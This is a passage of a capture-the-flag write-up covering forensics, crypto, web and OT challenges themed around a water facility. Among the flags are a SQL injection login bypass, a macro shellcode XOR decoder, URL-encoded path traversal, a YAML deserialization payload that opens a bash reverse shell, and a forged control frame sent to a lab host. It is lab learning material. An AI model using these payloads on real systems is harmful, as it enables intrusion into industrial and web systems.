AND password = 'hehe';
Sending this over, we successfully logged in!


THM{energy_backup_systems_compromised}
Flag
Orcam (Forensics)
Dr. Ayaka Hirano loves to swim with the sharks. So when the attackers from Virelia successfully retaliated against one of our own, it was up to the good doctor to take on the case. Will Dr. Hirano be able to determine how this attack happened in the first place?
In the desktop of the machine given, a writing_template.eml file was present, and contains the following:
Content-Type: multipart/mixed; boundary="===============7147510528207607842=="
MIME-Version: 1.0
From: he1pdesk@orcam.thm
To: admin@orcam.thm
Subject: Project Template
--===============7147510528207607842==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Please use the following template for the upcoming Project. The file will not work unless you open it using administrative privileges. When prompted, enable macros in order to get all of the details.
--===============7147510528207607842==
Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Project_Template.docm"
<SNIP>
head -n 17 writing_template.eml
The Project_Template.docm was embedded in the .eml file. We can decode and save the output into a .docm file for further analysis.
There were macros embedded in this document file.
Further analysis showed that there was a shellcode buf present in the macro and will be decoded with l33t as the XOR key. We can translate the operation into a python script.
buf = [<SNIP>]
key = "l33t"
decoded = bytearray()
# XOR decode
for i, b in enumerate(buf):
decoded.append(b ^ ord(key[i % len(key)]))
# Optional: Save shellcode
with open("decoded_shellcode.bin", "wb") as f:
f.write(bytes(decoded))
# Print readable ASCII strings
from itertools import groupby
def extract_ascii_strings(data, min_length=4):
printable = lambda x: 32 <= x < 127
strings = []
for k, g in groupby(data, key=printable):
if k:
s = bytes(g)
if len(s) >= min_length:
strings.append(s.decode('ascii', errors='ignore'))
return strings
ascii_strings = extract_ascii_strings(decoded)
for s in ascii_strings:
print(s)
The flag was the password of the administrrator user
THM{Ev1l_M@Cr0}
Flag
Echoed Screams
Three months after the Virelia Water Control Facility was breached, OT traffic is finally back online—supposedly “fully remediated.” During a routine audit, Black Echo’s red team intercepted two back‐to‐back telemetry packets between a pump controller and the SCADA server. Curiously, both packets were encrypted under AES‐GCM using the same 16-byte nonce (number used once). The first packet is just regular facility telemetry; the second contains a hidden sabotage command with the kill-switch flag. Your job is to recover that flag and stop the attack.
Each file is formatted as:
[16 bytes GCM nonce] ∥ [96 bytes ciphertext] ∥ [16 bytes GCM tag]We know that the first plaintext (96 bytes) is the facility’s standard telemetry string, exactly:
BEGIN TELEMETRY VIRELIA;ID=ZTRX0110393939DC;PUMP1=OFF;VALVE1=CLOSED;PUMP2=ON;VALVE2=CLOSED;END;The second packet follows the same format but carries the kill switch command and flag. We need you to decrypt the contents of cipher2.bin so that we can recover and disable the kill switch.
This is a Nonce-reuse Vulnerability in AES-GCM.
AES-GCM is a stream cipher mode when nonce reuse occurs:
- Same key + same nonce → same keystream
- Ciphertext1 ⊕ Ciphertext2 = Plaintext1 ⊕ Plaintext2 From that, if you know Plaintext1, you can recover Plaintext2.
#!/usr/bin/env python3
import sys
def read_packet(path):
with open(path, "rb") as f:
data = f.read()
nonce = data[:16]
ciphertext = data[16:16+96]
tag = data[16+96:128]
return nonce, ciphertext, tag
def xor_bytes(b1, b2):
return bytes(a ^ b for a, b in zip(b1, b2))
def main():
file1 = "cipher1(1).bin"
file2 = "cipher2(1).bin"
# Read both packets
nonce1, ct1, tag1 = read_packet(file1)
nonce2, ct2, tag2 = read_packet(file2)
# Sanity check
if nonce1 != nonce2:
print("Nonces are different. Cannot exploit AES-GCM nonce reuse.")
sys.exit(1)
# Known plaintext (from problem statement)
pt1 = b"BEGIN TELEMETRY VIRELIA;ID=ZTRX0110393939DC;PUMP1=OFF;VALVE1=CLOSED;PUMP2=ON;VALVE2=CLOSED;END;;"
if len(pt1) != 96:
print("Known plaintext is not 96 bytes.")
sys.exit(1)
# Step 1: keystream = pt1 ⊕ ct1
keystream = xor_bytes(pt1, ct1)
# Step 2: pt2 = ct2 ⊕ keystream
pt2 = xor_bytes(ct2, keystream)
print("[*] Decrypted second message:")
print(pt2.decode(errors='replace'))
if __name__ == "__main__":
main()
THM{Echo_Telemetry}
Flag
CRC Me If You Can (Crypto)
Three months after the Virelia Water Control Facility was “remediated,” flickering sensors and phantom alerts persist. A covert second-stage implant still lurks, waiting for its kill switch. As a hired red-team specialist for Black Echo, your mission is to forge a legitimate control frame that disables the implant before the real attacker flips it on.
Files Given
00000000: cafe 0104 4f50 454e 92e5 6e10 ....OPEN..n.
xxd open_frame.binxxd open_frame.bin
00000000: 4b49 4c4c KILL
xxd kill_switch.binxxd kill_switch.bin
Exploit Script
cafe– 2-byte magic0104– 2-byte version4f50454e– payload: “OPEN”92e56e10– CRC32 (big endian)
We want to forge a similar frame with payload "KILL" and correct CRC.
import socket
from gateway_proto import crc32
# Constants
MAGIC = b'\xca\xfe' # 2 bytes
VERSION = b'\x01\x04' # 2 bytes
PAYLOAD = b'KILL' # 4 bytes
# Step 1: Calculate correct CRC for "KILL"
crc = crc32(PAYLOAD)
crc_bytes = crc.to_bytes(4, 'big') # Big endian
# Step 2: Build the final frame
frame = MAGIC + VERSION + PAYLOAD + crc_bytes
print(f"Forged frame: {frame.hex()}")
# Step 3: Send to control server on port 1500
def send_to_control(packet: bytes):
with socket.create_connection(('10.10.176.199', 1500)) as sock:
sock.sendall(packet)
resp = sock.recv(1024)
print(f"[Control Server Response] {resp.decode(errors='ignore')}")
# Optional: Check with Oracle on port 1501 to confirm packet format
def check_with_oracle(payload: bytes):
with socket.create_connection(('10.10.176.199', 1501)) as sock:
sock.sendall(payload)
oracle_response = sock.recv(1024)
print(f"[Oracle Response] {oracle_response.hex()}")
if __name__ == "__main__":
# Optional verification
# check_with_oracle(PAYLOAD)
# Send forged packet
send_to_control(frame)
THM{crc_m4c_c0mprom1s3d_2093982}
Flag
Burr v1 (Web)
A forgotten HMI node deep in Virelia’s wastewater control loop still runs an outdated instance, forked from an old Mango M2M stack.
Scanning the server with Rustscan, port 8080 was found to be open.
8080/tcp open http syn-ack ttl 59 Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-title: ScadaBR CTF
|_http-server-header: Apache-Coyote/1.1
|_http-open-proxy: Proxy might be redirecting requests
Snipped scan
Default credentials of admin:admin was used to login
Searching for an exploit online, this repo was found:
GitHub - hev0x/CVE-2021-26828_ScadaBR_RCE
https://github.com/hev0x/CVE-2021-26828_ScadaBR_RCE

root.txt is found in the tomcat path
THM{rce_archieved_through_script_injection}
Flag
Persistence (Web)
After the notorious malware strike on the Virelia Water Control Facility, phantom alerts and erratic sensor readings plague a system that was supposed to be fully remediated.
As a Black Echo red-team specialist, you must penetrate the compromised portal, unravel its hidden persistence mechanism, and neutralise the backdoor before it can be reactivated.
The name variable was tested for LFI. Payloads like ../../../file.txt doesn’t work. However, URL-Encoding them does:
We can view the contents of both scripts (update.py and app.py shown in the logs), and note the first line in debug.log
@app.route('/config/update', methods=['GET','POST'])
def config_update():
if request.method == 'POST':
sig = request.headers.get('X-FTW','')
if sig != app_config['SIGNATURE']:
return 'Forbidden', 403
if request.content_type != 'application/x-yaml':
return 'Unsupported Media Type', 415
data = request.data
with open(os.path.join(APP_ROOT, 'config.yaml'), 'wb') as f:
f.write(data)
log('Configuration updated', 'app')
subprocess.Popen(['sudo', 'python3', os.path.join(APP_ROOT, 'update.py')])
return 'Configuration applied', 200
return render_template('update.html')
..%2F..%2F..%2F..%2Fopt%2Fhmi%2Fapp.py
# /opt/hmi/update.py
#!/usr/bin/env python3
import os
import time
import yaml
LOG = '/opt/hmi/logs/loader.log'
def log(msg):
ts = time.strftime('%Y-%m-%dT%H:%M:%S')
with open(LOG, 'a') as f:
f.write(f"{ts} {msg}\n")
log('Config loader started')
try:
cfg = yaml.load(open('/opt/hmi/config.yaml','r'), Loader=yaml.UnsafeLoader)
log(f"Applying config: {cfg}")
time.sleep(1)
log('Config applied successfully')
except Exception as e:
log(f"Error applying config: {e}")
..%2F..%2F..%2F..%2Fopt%2Fhmi%2Fupdate.py
The yaml.UnsafeLoader function was used to load the yaml file. A deserialisation attack could be tried.
Python Yaml Deserialization - HackTricks
https://book.hacktricks.wiki/en/pentesting-web/deserialization/python-yaml-deserialization.html#tool-to-create-payloads
Capturing and modifying the request in Burp
POST /config/update HTTP/1.1
Host: 10.10.124.23:8080
Content-Length: 88
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
X-FTW: secr3tFTW192d2390
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Origin: http://10.10.124.23:8080
Content-Type: application/x-yaml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.124.23:8080/config/update
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
!!python/object/apply:os.system
- 'bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"'
Note that app.py contains logic to validate the X-FTW Header and the Content-Type as application/x-yaml. Start a listener and send the request and a reverse shell will be caught.
THM{Sn34ky_B4ckd0or_23144}
Flag
Burr v2 (OT)
The Virelia facility’s legacy tank-control panel was marked “clean” during the remediation. But engineers still report inconsistent fill levels and sporadic valve toggling during non-operational hours.
After days of packet captures and flow analysis…nothing** u**ntil now.
The same site at burrv1 exists in port 8080 (and was vulnerable to the same exploit). However, port 5020 was open as well. A Modbus TCP client can be created to read the data sent to port 5020. The data can then be decoded and the flag is retrieved!
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('10.10.184.219', port=5020)
flag_bytes = []
if client.connect():
print("Connected to Modbus server")
for addr in range(0, 100, 10): # Step by 10 to avoid overlap
print(f"Reading registers {addr} to {addr + 9}")
rr = client.read_holding_registers(address=addr, count=10, slave=1)
if rr is None:
print(f"Failed to read registers at address {addr}")
continue
if rr.isError():
print(f"Error reading registers at address {addr}: {rr}")
continue
print(f"Registers at {addr}: {rr.registers}")
flag_bytes.extend(rr.registers)
client.close()
else:
print("Unable to connect to Modbus server.")
# Strip trailing zeros (padding)
while flag_bytes and flag_bytes[-1] == 0:
flag_bytes.pop()
flag_str = ''.join(chr(x) for x in flag_bytes)
print("\nDecoded flag:")
print(flag_str)
Connected to Modbus server
Reading registers 0 to 9
Registers at 0: [84, 72, 77, 123, 109, 111, 100, 98, 117, 115]
Reading registers 10 to 19
Registers at 10: [95, 104, 105, 100, 125, 0, 0, 0, 0, 0]
Reading registers 20 to 29
Registers at 20: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 30 to 39
Registers at 30: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 40 to 49
Registers at 40: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 50 to 59
Registers at 50: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 60 to 69
Registers at 60: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 70 to 79
Registers at 70: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 80 to 89
Registers at 80: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 90 to 99
Error reading registers at address 90: ExceptionResponse(dev_id=1, function_code=131, exception_code=2)
Decoded flag:
THM{modbus_hid}
THM{modbus_hid}
Flag
Conclusion
This CTF was a full-spectrum engagement that pushed us to pivot across multiple domains, each with its own set of challenges. From navigating the quirks of OT infrastructure and reversing binaries, to exploiting memory corruption and web vulnerabilities, the scenarios were as realistic as they were rewarding. We tackled crypto puzzles, escalated privileges, and achieved full system compromise through boot2root exploits. Each stage demanded not just technical skill but adaptability and lateral thinking. As Team Hazy Jane, this exercise sharpened our red teaming mindset and reaffirmed the value of methodical exploration in high-stakes environments.